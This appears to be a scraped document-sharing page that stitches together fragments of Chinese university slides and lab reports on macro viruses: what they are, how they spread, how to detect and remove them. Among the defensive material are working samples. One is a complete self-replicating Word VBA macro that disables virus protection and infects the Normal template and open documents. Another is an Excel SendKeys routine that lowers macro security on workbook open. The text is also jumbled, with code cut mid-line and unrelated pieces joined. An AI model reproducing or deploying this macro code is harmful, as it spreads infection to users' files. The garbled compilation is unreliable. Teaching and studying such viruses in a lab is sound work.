东华大学计算机病毒课实验六宏病毒实验报告.pptx
宏病毒
Office 2K, Outlook 2K, FrontPage 2K Office XP, Outlook 2002, Word 2002, Access 2002, FrontPage 2002
VBA 6.0
VBA 6.3
计算机病毒及其防范技术
• 使用VBA可以实现的功能包括：
– – – – （1）使重复的任务自动化 （2）自定义Word工具栏、菜单和界面 （3）简化模板的使用 （）自定义Word，使其成为开发平台
计算机病毒及其防范技术
– – – – – – – –
'检查正常的宏 End If If MacroName$(i, 0, 0) = "FileSaveAs" Then bTooMuchTrouble = - 1 '但如果FILESAVEAS 宏存在那么传染比较困难. End If Next i If Not bInstalled And Not bTooMuchTrouble Then
计算机病毒及其防范技术
宏病毒关键技术
• （1）自动执行的示例代码：
– – – – – – – Sub MAIN On Error Goto Abort iMacroCount = CountMacros(0, 0) '检查是否感染该文档文件 For i = 1 To iMacroCount If MacroName$(i, 0, 0) = "PayLoad" Then bInstalled = - 1
计算机病毒及其防范技术
• （2） SaveAs 程序：
– 这是一个当使用FILE/SAVE AS功能时，拷贝宏病 毒到活动文本的程序。它使用了许多类似于 AutoExec程序的技巧。尽管示例代码短小，但足以 制作一个小巧的宏病毒。 – Sub MAIN – Dim dlg As FileSaveAs – GetCurValues dlg – Dialog dlg
宏病毒分析报告优秀课件
•.
•4
宏病毒的判断方法
（2）使用专业杀毒软件：目前杀毒软件公司都具备清 除宏病毒的能力，当然也只能对已知的宏病毒进行检查和 清除, 对于新出现的病毒或病毒的变种则可能不能正常地 清除，或者将会破坏文件的完整性，此时还是手工清理为 妙。
•.
•8
3、应急处理方法：用写字板或WORD 6.0文档作为清除宏病毒的桥梁。 如果您的WORD系统没有感染宏病毒，但需要打开某个外来的、 已查出感染有宏病毒的文档，而手头现有的反病毒软件又无法查杀 它们，那么您可以试验用下面的方法来查杀文档中的宏病毒：打开 这个包含了宏病毒的文档（当然是启WORD中的“宏病毒防护” 功能并在宏警告出现时选择“取消宏”），然后在“文件”菜单中 选择“另存为”，将此文档改存成写字板（RTF）格式或 WORD6.0格式。
winword.exe/mDisableAutoMacros
•.
•7
2、清除
（1）手工：以Word为例，选取“工具”菜单中“宏” 一项，进入“管理器”，选取标题为“宏”的一页，在 “宏 有效范围”下拉列表框中打开要检查的文档。这时 在上面的列表框中就会出现该文档模板中所含的宏，将不 明来源的自动执行宏删除即可。
2、同样是在打开“宏病毒防护功能”的情况下，您的OFFICE 文档中一系列的文件都在打开时给出宏警告。由于在一般 情况下我们很少使用到宏，所以当您看到成串的文档有宏 警告时，可以肯定这些文档中有宏毒。
宏病毒分析实验(新)
---------------------------------------------------------------最新资料推荐------------------------------------------------------宏病毒分析实验(新)宏病毒分析实验一、实验目的及要求：通过本实验的学习，大家应该理解宏病毒的概念、病毒机制、编写方法、传播手段以及预防处理措施。
二、实验基本原理：宏病毒是也是脚本病毒的一种，由于它的特殊性，因此在这里单独算成一类。
宏病毒的前缀是：Macro，第二前缀是：Word、 Word97、 Excel、 Excel97（也许还有别的）其中之一。
凡是只感染 WORD97 及以前版本 WORD 文档的病毒采用 Word97 做为第二前缀，格式是：Macro. Word97；凡是只感染 WORD97 以后版本 WORD 文档的病毒采用 Word 做为第二前缀，格式是：Macro. Word；凡是只感染 EXCEL97 及以前版本 EXCEL 文档的病毒采用 Excel97 做为第二前缀，格式是：Macro. Excel97；凡是只感染 EXCEL97 以后版本 EXCEL 文档的病毒采用 Excel做为第二前缀，格式是：Macro. Excel，依此类推。
该类病毒的公有特性是能感染 OFFICE系列文档，然后通过OFFICE 通用模板进行传播，如：1 / 5著名的美丽莎(Macro. Melissa) 。
一个宏的运行, 特别是有恶意的宏程序的运行, 受宏的安全性的影响是最大的, 如果宏的安全性为高, 那么, 没有签署的宏就不能运行了, 甚至, 还能使部分 Excel 的功能失效.所以, 宏病毒在感染 Excel 之前, 会自行对 Excel 的宏的安全性进行修改,把宏的安全性设为低. Application. SendKeys%TMSs%L{RETURN} 仅修改这个还不行, 很多宏会涉及到 VisualBasic, 所以, 宏的安全性还要信任对于VisualBasic 项目的访问, 所以, 综合安全级别的修改, 就为 Application. SendKeys%TMSs%LT%v{RETURN} 如何判断信任还是不信任对于VisualBasic 项目的访问, 可以用出错捕获进行修改: OnErrorGoToEnd_Sub ‘ 其它功能的程序段ExitSub End_Sub: Application. SendKeys%TMSs%LT%v{RETURN} 本段程序的功能为: 一旦宏无法正常就进行宏的安全性的修改和对信任对于VisualBasic 项目的访问的修改, 从而这宏病毒的正常运行提供系统支持. 本程序应放在 VBA 中的 ThisWorkbook PrivateSubWorkbook_Open() EndSub 这样一旦打开工作薄就会对其进行有效的修改. 完整的程序为: PrivateSubWorkbook_Open() OnErrorGoToEnd_Sub ‘ 其它功能的程序段 ExitSub End_Sub: Application. SendKeys%TMSs%LT%v{RETURN} EndSub 三、主要仪器设备及实验耗材：PC 电脑一台四、实验内容或步骤：---------------------------------------------------------------最新资料推荐------------------------------------------------------ 1．启动 Word，创建一个新文档。
《计算机病毒》PPT课件
红色代码、尼姆达、求职信等蠕虫病毒，感染大量计算机，造
成严重经济损失。
传播途径与防范
03
蠕虫病毒主要通过漏洞传播，及时修补系统漏洞、安装杀毒软
件可有效防范。
木马病毒案例分析
木马病毒定义
隐藏在正常程序中的恶意代码，窃取用户信息、控制系统资源。
典型案例分析
灰鸽子、冰河等木马病毒，窃取用户账号密码、远程控制计算机， 实施网络犯罪。
零日漏洞威胁
利用尚未公开的漏洞进行攻击，杀毒软 件无法及时应对。
攻击手段多样化
病毒攻击手段不断翻新，包括钓鱼攻击、 水坑攻击等，难以防范。
社交工程攻击
通过欺骗用户获取敏感信息，进而实施 病毒攻击。
加强国际合作，共同应对计算机病毒威胁
建立国际反病毒联盟
各国共同组建反病毒联盟，共享病 毒信息和防范技术。
《计算机病毒》PPT课件
目录
• 计算机病毒概述 • 计算机病毒传播途径与方式 • 计算机病毒检测与防范技术 • 典型计算机病毒案例分析
目录
• 计算机病毒法律法规与道德伦理 • 计算机病毒未来趋势及挑战
01
计算机病毒概述
计算机病毒定义与特点
01
02
定义
特点
计算机病毒是一种恶意软件，能够在计算机系统内进行自我复制和传 播，破坏数据、干扰计算机运行，甚至危害网络安全。
计算机病毒分类与危害
分类
根据传播方式可分为文件型病毒、网络型病毒和复合型病毒；根据破坏性可分 为良性病毒和恶性病毒。
危害
计算机病毒可导致数据丢失、系统崩溃、网络拥堵等问题，严重影响计算机的 正常使用和网络的安全稳定。同时，计算机病毒还可能窃取个人隐私信息、造 成经济损失等不良后果。
计算机病毒实验报告
计算机病毒实验报告计算机病毒实验报告引言：计算机病毒是一种恶意软件，可以对计算机系统造成破坏和损失。
为了更好地了解计算机病毒的特点和对计算机系统的影响，我们进行了一系列的实验。
本报告将详细介绍我们的实验过程、结果和结论。
实验一：病毒传播方式我们首先研究了计算机病毒的传播方式。
通过在一个封闭的网络环境中模拟实验，我们发现计算机病毒主要通过电子邮件、可移动存储设备和互联网下载等方式进行传播。
这些传播方式都依赖于用户的不慎操作或者系统的漏洞。
实验二：病毒对系统性能的影响我们接着研究了计算机病毒对系统性能的影响。
在一个实验环境中，我们分别在未感染和感染病毒的计算机上进行了性能测试。
结果显示，感染病毒的计算机在运行速度、响应时间和网络连接方面都明显下降。
这是因为计算机病毒会占用系统资源、干扰正常的进程和网络通信。
实验三：病毒防护措施为了更好地保护计算机系统免受病毒攻击，我们进行了一系列的病毒防护措施实验。
我们测试了不同的杀毒软件和防火墙，并对其进行了性能和效果的评估。
结果显示，合适的杀毒软件和防火墙可以有效地检测和阻止病毒的传播，保护计算机系统的安全。
实验四：病毒对个人隐私的威胁除了对系统性能的影响，计算机病毒还可能对个人隐私造成威胁。
我们进行了一项实验，模拟了一个病毒窃取个人信息的场景。
通过在一台计算机中安装了一个窃取密码的病毒，我们发现该病毒能够成功获取用户的登录信息和敏感数据。
这个实验结果提醒我们，保护个人隐私是非常重要的，我们应该谨慎对待未知来源的文件和链接。
结论：通过一系列的实验，我们对计算机病毒有了更深入的了解。
计算机病毒的传播方式多种多样，主要依赖于用户的不慎操作和系统的漏洞。
感染病毒会导致计算机系统性能下降，并可能对个人隐私造成威胁。
为了保护计算机系统的安全，我们应该采取合适的病毒防护措施，如安装杀毒软件和防火墙，并且要时刻保持警惕，不轻易打开未知来源的文件和链接。
总结：计算机病毒是现代计算机系统中的一大威胁，对系统性能和个人隐私都有着巨大的影响。
《计算机病毒》ppt课件完整版
负责病毒的自我复制，生成新的病毒实例。
破坏/表现模块（Destruction/…
负责实施破坏行为或展示特定信息。
侵入途径及过程
可执行文件感染
通过修改可执行文件，将病 毒代码嵌入其中。当文件被 执行时，病毒代码也被激活 。
宏病毒感染
利用宏语言编写的病毒，感 染使用宏的应用程序文档。 当文档被打开或宏被执行时 ，病毒被激活。
《计算机病毒》ppt课 件完整版
contents
目录
• 计算机病毒概述 • 计算机病毒结构与工作原理 • 常见计算机病毒类型及特点 • 防护措施与策略部署 • 检测方法与工具应用 • 总结回顾与展望未来发展趋势
01
计算机病毒概述
定义与分类
定义
计算机病毒是一种恶意软件，能 够在计算机系统内进行自我复制 和传播，从而破坏数据、干扰计 算机操作或占用系统资源。
利用网络共享
病毒搜索并感染网络共享文件 夹中的文件，进而传播到其他 计算机。
利用移动设备
病毒通过感染移动设备（如U盘 、手机等）中的文件，在用户 将设备连接到其他计算机时进 行传播。
利用漏洞攻击
病毒利用操作系统或应用程序 的漏洞进行攻击，获取控制权
并传播到其他计算机。
03
常见计算机病毒类型及特点
蠕虫病毒
计算机病毒的传播途径
详细阐述了计算机病毒通过网络、移 动存储介质等途径进行传播的方式， 以及防范病毒传播的方法。
计算机病毒的检测与防范
介绍了病毒检测的原理、方法和技术 ，以及防范计算机病毒的策略和措施 ，包括使用杀毒软件、定期更新操作 系统补丁等。
行业前沿动态分享
新型计算机病毒分析
宏病毒分析报告
宏病毒分析报告一、引言在当今数字化的工作环境中，宏病毒已成为一种常见的计算机安全威胁。
宏病毒通常隐藏在文档、电子表格等文件中的宏代码中，一旦被激活，可能会对用户的计算机系统和数据造成严重损害。
本报告旨在对宏病毒进行详细的分析，包括其定义、特点、传播方式、危害以及防范措施等方面，以帮助用户更好地了解和应对这一威胁。
二、宏病毒的定义与特点（一）定义宏病毒是一种利用应用程序（如 Microsoft Office）中的宏语言编写的恶意代码。
宏是一系列预定义的操作指令，可以自动执行重复性任务，但也被恶意攻击者利用来传播病毒。
（二）特点1、隐蔽性强宏病毒通常隐藏在看似正常的文档中，用户很难察觉。
2、传播速度快通过电子邮件、网络共享等方式，能够迅速传播到大量计算机。
3、变种多样由于宏语言的灵活性，宏病毒容易产生变种，增加了查杀的难度。
三、宏病毒的传播方式（一）电子邮件附件攻击者将包含宏病毒的文档作为电子邮件附件发送给用户，当用户打开附件并启用宏功能时，病毒就会被激活。
（二）网络共享文件在共享网络中，用户可能会下载或打开被感染的文件，从而感染宏病毒。
（三）恶意网站用户访问恶意网站时，可能会被诱骗下载包含宏病毒的文件。
四、宏病毒的危害（一）破坏数据宏病毒可能会删除、篡改或加密用户的重要文件和数据，导致数据丢失或无法使用。
（二）系统崩溃大量的恶意操作可能导致计算机系统崩溃，影响正常的工作和学习。
（三）窃取信息某些宏病毒还能够窃取用户的个人信息、账号密码等敏感数据，造成隐私泄露和财产损失。
五、宏病毒的检测与分析方法（一）杀毒软件检测使用知名的杀毒软件对计算机进行全面扫描，能够检测出大部分已知的宏病毒。
（二）文件特征分析通过分析文件的大小、修改时间、宏代码等特征，判断是否存在异常。
（三）行为监测观察文件在运行时的行为，如是否自动连接网络、访问敏感区域等，来判断是否感染宏病毒。
六、宏病毒的防范措施（一）提高安全意识用户应了解宏病毒的危害，不随意打开来源不明的文件和邮件附件。
计算机病毒及防治实验报告
南京航空航天大学计算机病毒及防治上机实验报告学院：理学院专业：信息与计算科学学号：081310128姓名：王晨雨授课老师：薛明富二〇一六年十二月目录实验一：引导型病毒实验 (2)实验二：Com病毒实验 (6)实验三：PE文件格式实验 (9)实验四：32位文件型病毒实验 (11)实验五：简单的木马实验 (14)实验七：木马病毒清除实验（选做） (19)实验八：Word宏病毒实验（一） (22)实验九：Word宏病毒实验（二） (27)实验十：Linux脚本病毒实验（选做） (32)实验十二：基于U盘传播的蠕虫病毒实验 (33)实验十三：邮件型病毒实验 (36)实验十四：Web恶意代码实验 (39)实验一：引导型病毒实验【实验目的】通过实验，了解引导区病毒的感染对象和感染特征，重点学习引导病毒的感染机制和恢复感染病毒文件的方法，提高汇编语言的使用能力。
实验内容引导阶段病毒由软盘感染硬盘实验。
通过触发病毒，观察病毒发作的现象和步骤，学习病毒的感染机制：阅读和分析病毒的代码。
DOS运行时病毒由硬盘感染软盘的实现。
通过触发病毒，观察病毒发作的现象和步骤，学习病毒的感染机制：阅读和分析病毒的代码。
【实验平台】VMWare Workstation 12 PROMS-DOS 7.10【试验内容】第一步：环境安装安装虚拟机VMWare，在虚拟机环境内安装MS-DOS 7.10环境。
第二步：软盘感染硬盘1)运行虚拟机，检查目前虚拟硬盘是否含有病毒，图1表示没有病毒正常启动硬盘的状态。
2)在附书资源中复制含有病毒的虚拟软盘virus.img3)将含有病毒的软盘插入虚拟机引导，可以看到闪动的字符*^_^*，如图2所示，按任意键进入图3。
第三步：验证硬盘已经被感染1)取出虚拟软盘，通过硬盘引导，再次出现了病毒的画面如图4。
2)按任意键后正常引导了DOS系统如图5。
可见，硬盘已被感染。
第四步：硬盘感染软盘1)下载empty.img，并且将它插入虚拟机，启动计算机，由于该盘为空，如图6.2)取出虚拟软盘，从硬盘启动，通过命令format A:/q快速格式化软盘。
计算机病毒(公开课)图文PPT课件
杀毒软件原理及使用技巧
杀毒软件原理
通过病毒库比对、行为分析、启发式 扫描等技术，识别并清除计算机病毒 。
选择合适的杀毒软件
根据实际需求选择知名品牌的杀毒软 件，确保软件及时更新病毒库。
定期全盘扫描
定期对计算机进行全盘扫描，以便及 时发现并清除潜在的病毒威胁。
注意误报与漏报
留意杀毒软件可能产生的误报和漏报 情况，结合实际情况进行判断和处理 。
建立完善的应急响应机制，对突发 的计算机病毒事件进行快速响应和 处理，减少损失。
THANKS
感谢观看
REPORTING
Linux内核中的一个权限提升漏洞，攻击者可以利用该漏洞将自己的进程提升为root权限 ，进而完全控制受害者的计算机。
Meltdown和Spectre漏洞
利用处理器设计中的缺陷，攻击者可以绕过操作系统的内存隔离机制，窃取其他程序的内 存数据。这两个漏洞影响了大量计算机设备的安全性。
PART 05
网络攻击手段及其防范方 法
安全配置
关闭不必要的端口和服务 ，限制远程访问权限，启 用防火墙等安全配置，提 高系统安全性。
案例分析：操作系统漏洞利用实例
EternalBlue漏洞
利用Windows系统的SMB服务漏洞，攻击者可以远程执行代码，控制受害者计算机。该 漏洞曾导致全球范围内的WannaCry勒索病毒爆发。
Dirty COW漏洞
近年来，恶意软件和勒索软件 大量涌现，以窃取个人信息和
勒索钱财为目的。
危害与影响
数据破坏
病毒可以删除或修改文 件，导致数据丢失或损
坏。
系统崩溃
病毒可能占用大量系统 资源，导致计算机运行
缓慢或崩溃。
网络攻击
计算机病毒的实验报告
计算机病毒的实验报告计算机病毒的实验报告摘要：计算机病毒是一种具有破坏性的恶意软件，能够感染计算机系统并对其进行破坏。
本实验通过模拟计算机病毒的传播过程，探究病毒的特性和防范措施。
实验结果表明，计算机病毒具有隐蔽性、传播性和破坏性，而防病毒软件和用户的安全意识是有效防范计算机病毒的重要手段。
引言：随着计算机技术的不断发展，计算机病毒作为一种具有破坏性的恶意软件，给计算机系统的安全带来了巨大威胁。
为了深入了解计算机病毒的特性和传播方式，本实验模拟了计算机病毒的传播过程，并对病毒的特性进行了研究。
实验方法：1. 实验环境：使用一台具备网络连接功能的计算机作为实验主机。
2. 实验过程：在实验主机上安装一个模拟计算机病毒的程序，并设置病毒传播路径。
3. 实验观察：观察计算机病毒在实验主机上的传播情况，记录病毒感染的时间和影响范围。
4. 实验分析：分析计算机病毒的传播速度、感染方式和破坏程度。
实验结果：通过实验观察和数据记录，我们得到了以下实验结果：1. 计算机病毒的传播速度较快：在实验主机上设置病毒传播路径后，病毒很快感染了整个计算机系统，包括操作系统和应用程序。
2. 计算机病毒具有隐蔽性：病毒在感染过程中能够隐藏自身，不易被用户察觉。
这使得病毒能够长时间存在于计算机系统中，对系统进行潜在的破坏。
3. 计算机病毒的传播方式多样：病毒可以通过网络传播，如电子邮件、恶意链接等；也可以通过可移动存储介质传播，如U盘、移动硬盘等。
这些传播方式使得病毒能够迅速传播到其他计算机系统，形成病毒的流行。
4. 计算机病毒的破坏程度较大：病毒在感染计算机系统后，可以破坏文件、删除重要数据、篡改系统设置等，给用户带来严重的损失。
实验讨论：通过以上实验结果，我们可以得出以下结论：1. 防病毒软件是有效防范计算机病毒的重要手段。
及时更新病毒库、进行定期扫描和实时监测，可以有效阻止病毒的感染和传播。
2. 用户的安全意识也是防范计算机病毒的重要因素。
《宏病毒分析报告》课件
运用安全软件找到宏病毒
如何利用安全软件检测和定位宏病毒的存在？探讨常用安全软件中的宏病毒 检测功能及其使用。
典型宏病毒案例解析
透过典型的宏病毒案例，深入分析宏病毒的攻击方式、目标以及对受害者造成的影响。
宏病毒的防范措施
根据宏病毒的特点和传播方式，制定恰当的宏病毒防范措施，确保计算机系统的安全。
宏病毒的传播途径
宏病毒是如何传播的？了解它利用哪些途径侵入计算机系统，以及如何避免 宏病毒的传播。
宏病毒的目标
宏病毒主要攻击什么类型的文件和系统？了解宏病毒对不同目标的影响及其 潜在威胁。
宏病毒的特点
宏病毒的其他病毒的区别。
宏病毒的危害
《宏病毒分析报告》PPT 课件
这份《宏病毒分析报告》PPT课件将带您深入了解宏病毒的定义、传播途径、 分类、危害以及防范措施。让我们一起探索这个隐藏在电脑中的隐患。
病毒概述
什么是宏病毒？了解病毒及其分类的基本概念，以及宏病毒在计算机系统中的角色和功能。
发现宏病毒的原因
为什么宏病毒成为计算机系统中的威胁？探讨宏病毒被发现的背后原因，以 及可能导致宏病毒感染的行为和情境。
宏病毒属于哪种威胁
将宏病毒与其他计算机安全威胁进行对比，了解宏病毒在黑客攻击和信息安全中的角色和影响。
如何保护电脑避免宏病毒
学习保护计算机免受宏病毒感染的最佳实践，包括使用防病毒软件、限制宏 病毒的执行和保持操作系统更新。
防范宏病毒的建议
了解有效的防范宏病毒的方法和策略，以及避免宏病毒传播的最佳实践。
宏病毒常见的攻击方式
宏病毒如何达到其攻击目的？探索宏病毒常见的攻击方式，以及如何应对和 防范这些攻击手法。
可能会感染宏病毒的文件类型
宏病毒可能感染哪些常见的文件类型？了解宏病毒针对的文件扩展名以及宏病毒在这些文件中的隐藏方式。
计算机宏病毒分析及清除试验报告
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 2, "Sub Document_Close()"
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
实验报告
实验时间
2016年11月23日
实验地点
软件工程实验室
实验名称
计算机宏病毒分析及清除
实验目的：1、了解“宏病毒”机理；
2、掌握清除宏病毒的方法；
3、掌握采用“宏”和脚本语言进行编程的技术。
实验平台：1、Windows 2000/2003/XP或更高级别的Windows操作系统；
2、Office Word 2000/2003等字处理软件。
宏病毒实验报告
宏病毒实验报告一、实验目的本次实验旨在深入了解宏病毒的工作原理、传播方式以及其对计算机系统可能造成的危害，并通过实际操作和观察，探索有效的防范和清除策略。
二、实验环境1、操作系统：Windows 10 专业版2、办公软件：Microsoft Office 20193、杀毒软件：＿____杀毒软件三、实验原理宏病毒是一种寄存在文档或模板的宏中的计算机病毒。
当打开包含宏病毒的文档时，宏病毒会被自动激活，并执行其中的恶意代码。
宏病毒通常利用 Office 软件中的宏功能来实现自我复制、传播和破坏操作。
四、实验步骤1、准备带有宏病毒的测试文档从网络上获取已知的含有宏病毒的示例文档。
对获取的文档进行备份，以防对实验环境造成不可恢复的破坏。
2、观察宏病毒的激活过程打开带有宏病毒的文档。
留意弹出的警告提示，记录相关信息。
3、分析宏病毒的行为观察文档中的内容是否被篡改。
检查计算机系统的性能是否受到影响，如 CPU 使用率、内存占用等。
4、尝试清除宏病毒使用安装的杀毒软件进行扫描和清除。
手动删除相关的宏代码。
五、实验结果与分析1、宏病毒激活情况打开测试文档时，Office 软件弹出了宏安全警告，但仍可以选择启用宏。
一旦启用宏，病毒立即开始执行恶意操作。
2、宏病毒的行为表现文档中的部分文本被修改，格式变得混乱。
CPU 使用率短时间内飙升，系统运行变得卡顿。
3、清除效果杀毒软件能够检测到宏病毒，并成功清除大部分感染，但仍有部分残留。
手动删除宏代码后，文档恢复正常，系统性能也逐渐恢复。
六、实验结论1、宏病毒具有较强的隐蔽性和破坏性，能够在用户不知情的情况下对文档和系统造成损害。
2、办公软件的宏安全设置对于防范宏病毒至关重要，用户应保持较高的安全意识，不轻易启用来源不明的宏。
3、杀毒软件在宏病毒的清除方面起到了一定的作用，但仍需不断更新病毒库和优化清除算法，以应对不断变化的宏病毒威胁。
4、定期备份重要的文档和数据是防范宏病毒造成严重损失的有效措施。
计算机病毒实验报告
计算机病毒实验报告1. 实验目的通过本次实验，我们的目的是了解计算机病毒的基本概念、特征及分类，掌握常用的杀毒软件的使用方法，并了解病毒对计算机的影响，从而增强对计算机安全的认识。
2. 实验环境本次实验我们使用的计算机环境为Windows 10操作系统，实验所用的杀毒软件为360安全卫士。
3. 实验过程3.1 计算机病毒的概念计算机病毒是指那些在计算机系统中侵入并产生破坏、破坏、传播等行为的程序和代码。
计算机病毒可分为多种类型，包括文件病毒、网络病毒、驱动器病毒等。
3.2 计算机病毒的特征计算机病毒有以下几种特征：•潜伏性：病毒在计算机系统中往往不会马上制造破坏，而是先潜伏一段时间，等待某些条件的满足后再进行攻击；•传染性：计算机病毒通过文件、网络等方式进行传播，有蔓延性；•破坏性：计算机病毒会对系统、软件或数据等进行破坏；•隐匿性：很多病毒会将自己隐藏在计算机系统的某些位置，难以被发现；•多样性：计算机病毒可以通过不断变化自身的形态等方式来规避杀软的检测。
3.3 计算机病毒的分类根据病毒的传播方式和感染对象，计算机病毒可以分为多种类型，包括文件病毒、网络病毒、木马病毒、蠕虫病毒等。
3.4 常用的杀毒软件在本次实验中，我们使用了360安全卫士这一国内常用的杀毒软件。
该软件不仅可以实现基本的病毒查杀功能，还可以对各种病毒进行拦截和清除。
3.5 实验结果通过本次实验，我们成功地了解了计算机病毒的基本概念、特征及分类，掌握了常用的杀毒软件的使用方法，并对病毒对计算机的影响有了一定的认识。
4. 实验结论计算机病毒是一种具有传染性、破坏性、隐匿性等特征的程序，对计算机系统和数据安全构成威胁。
通过学习本次实验，我们可以提高对计算机安全的认识，掌握常用的杀毒软件的使用方法，并加强对计算机安全的保护。
【大学】实验 病毒分析及清除实验 课件
宏病毒(Macro Virus)是一种利用应用程序宏语言编 制的计算机病毒，它附着在某个文件上，当用户打 开这个文件时，宏病毒就被激活，并产生连锁性的 感染。
2020/5/11
【相关知识点】（续）
“概念”（Concept）病毒 “核子”（Nuclear）病毒 “彩色”（Colors）病毒 “无政府者一号”(MDMA.A)病毒 “格式化”病毒
毒”。
2020/5/11
【实验报告】
提交所有要求编写程序的程序代码。 提交程序的数据字典。
2020/5/11
【实验注意事项】
宏病毒传播快、易制作、破坏性强，实验时应十 分小心，最好不在平常工作学习中试验。
2020/5/11
【相关知识点】
（1）宏
宏是一系列命令和指令组合在一起形成的一个 命令。以实现任务执行的自动化。
3、宏病毒的结构
4、宏病毒本身的局限性
2020/5/11
【相关知识点】（续）
5、宏病毒的清除 （1）用杀毒软件清除。 （2）用手工清除。
6、宏病毒的防御
(1) 设置宏的安全级别 (2) 为宏添加数字签名。
2020/5/11
【评分要求】100分
有原程序且运行正常（不死机）20分 有”病毒”程序且运行正常20分 有清除”病毒”程序能完成清除功能,20分 界面设计良好20分 有设计文档10分 有新增功能10分
2020/5/11
个人或分组
2020/5/11
【实验设备与环境】
个人计算机 Windows 2000系统平台 Windows 2000 office应用程序 VB 开发环境
2020/5/11Fra bibliotek【实验方法步骤】
编写一个简单的可执行程序（如：aaa.exe）， 运行后显示“已感染宏病毒”。
宏病毒实验报告
宏病毒实验报告201424010257 邹文敏一、实验目的通过运行计算机代码，更加深刻的理解计算机代码。
对计算机代码有一个初步的认识。
加深对宏病毒的感性认识，宏病毒是感染数据文件word,office等。
二、实验内容运行自我复制，感染word公用模板和当前文档；具有一定破坏性的宏；清除宏病毒。
三、实验步骤实验一：●将word文档中的开发者工具打开；word 中心→信任选项→宏设计将信任选项打开●运行第一个实验Visual Basic →normal →Microsoft→the documentProject→microsoft word对象→the document复制如下代码：'APMPPrivate Sub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOptions.VirusProtection = FalseOptions.SaveNormalPrompt = False '以上都是基本的自我隐藏措施MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate Then _Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule With HostIf .Lines(1, 1) <> "'APMP" Then '判断感染标志.DeleteLines 1, .CountOfLines '删除目标文件所有代码.InsertLines 1, MyCode '向目标文档写入病毒代码If ThisDocument = NormalTemplate Then _ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd WithMsgBox "Basic class macro by jackie", vbOKOnly, "APMP"End Sub保存时注意保存为宏文件实验一运行截图：清除实验一中的内容只需要删除，the document 中的内容在保存即可。
计算机病毒实验之宏病毒
计算机病毒实验报告实验3.2 台湾No.1宏病毒3.2 台湾No.1宏病毒3.2.1 实验目的了解台湾No.1宏病毒的基本概念实验自己的台湾No.1宏病毒3.2.2 实验原理台湾No.1宏病毒实际上是一个含有恶意代码的Word自动宏，其代码主要是造成恶作剧，并且有可能使用户计算机因为使用资源枯竭而瘫痪。
3.2.3 实验预备知识点】什么是Word宏对VBA语言有一定的了解3.2.4 实验环境操作系统：WINDOWS2000JDK版本：Java Standard Edition 1.4.0以上数据库：MysqlWeb服务器:TomacatOffice版本:MS office2000/20033.2.5 实验步骤打开“信息安全综合实验系统” 在右上角选择“实验导航”双击“病毒教学实验系统”进入病毒教学实验系统登录面界，输入用户名和密码。
（注意：实验前先关闭所有杀毒软件。
）1.病毒感染实验由于该病毒特征码明显，因此请首先将病毒防火墙关闭，将系统时间调整到13日。
进入病毒防护教学实验后，点击左侧的“台湾N0.1宏病毒”，然后在点击下面的“病毒感染实验”，要根据要求和提示操作配置客户端的邮件地址，如下图3-2-1所示。
根据提示下载提供的台湾No.1病毒，亲自运行并记录自己的实验报告。
图3-2-1 病毒样本下载页面2.病毒代码分析进入病毒防护教学实验后，点击左侧的“台湾N0.1宏病毒”，然后在点击下面的“病毒代码分析”，可以分析页面中的台湾No.1病毒源代码，根据相关代码分析，填写页面中空白的参数，点击确定系统将自动生成代码。
新建一个word文档作为自己编写的该病毒文件，然后把生成的代码复制并粘帖至Word自带的VBA编译工具中，可以参照美丽莎宏病毒实验中的图4-3至4-4 。
将自行编制的病毒备份待用。
3.杀毒实验进入病毒防护教学实验后，点击左侧的“台湾N0.1宏病毒”，然后在点击下面的“杀毒实验”，学习病毒防范方法，根据系统页面上的提示，使用手动杀毒，并写入实验报告中。
宏与宏病毒实验
宏与宏病毒实验1.宏病毒介绍宏病毒是一种寄存在文档或模板的宏中的计算机病毒。
一旦打开这样的文档，其中的宏就会被执行，于是宏病毒就会被激活，转移到计算机上，并驻留在Normal模板上。
从此以后，所有自动保存的文档都会“感染”上这种宏病毒，而且如果其他用户打开了感染病毒的文档，宏病毒又会转移到他的计算机上。
如果某个文档中包含了宏病毒，我们称此文档感染了宏病毒；如果 WORD系统中的模板包含了宏病毒，我们称WORD系统感染了宏病毒。
所谓宏是将一系列word命令和指令组合起来，形成一个命令，实现任务执行的自动化。
在word中有一类很实用的自动宏，会在特定事件发生时自动运行，word提供的5个自动宏是：(1) Autoexec宏在启动word时自动运行；(2) Autoexit宏在退出word时自动运行；(3) Autonew宏在新建文档时自动运行；(4) Autoopen宏在打开文档时自动运行；(5) Autoclose宏在关闭文档时自动运行；2.实验环境实验环境：windows2000及以上或windows XP所需软件：office word3.实验步骤(1)首先，依次选择“工具”-“宏”-“录制宏”菜单命令，接着弹出“录制宏”界面，如下图：接着在“宏名”下面的输入框中输入新宏的名称“yuan ”，接着单击“键盘”图标。
在弹出的“自定义键盘”界面中指定快捷键，比如ctrl+y ，单击左下角“指定”按钮后，再单击右下角的“关闭”按钮，回到”录制宏“界面。
这时单击”确定“按钮启动记录器。
接着，依次选择“插入“-”符号“菜单命令，弹出”符号“界面。
选择”符号“选项卡，在”符号“框中选择”￥“，单击”插入“按钮后再单击”关闭“按钮。
单击“停止录制“工具栏中的”停止录制“按钮。
以后，当需要插入字符“￥”的时候，只需要按下ctrl+y组合键。
(2) 给word文档加上通用的密码关闭word文档，当再次打开文档的时候，需要输入密码才能看到内容和修改。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
书山有 路
4). 编辑宏，语法上注意 VBA 版本保存
5) 关闭所有Word（必须） 6) 再次打开Word 文档，宏病毒爆发,弹出刚刚编写的 msgbox 窗口
7). 启动任务管理器结束进程
9
书山有 路
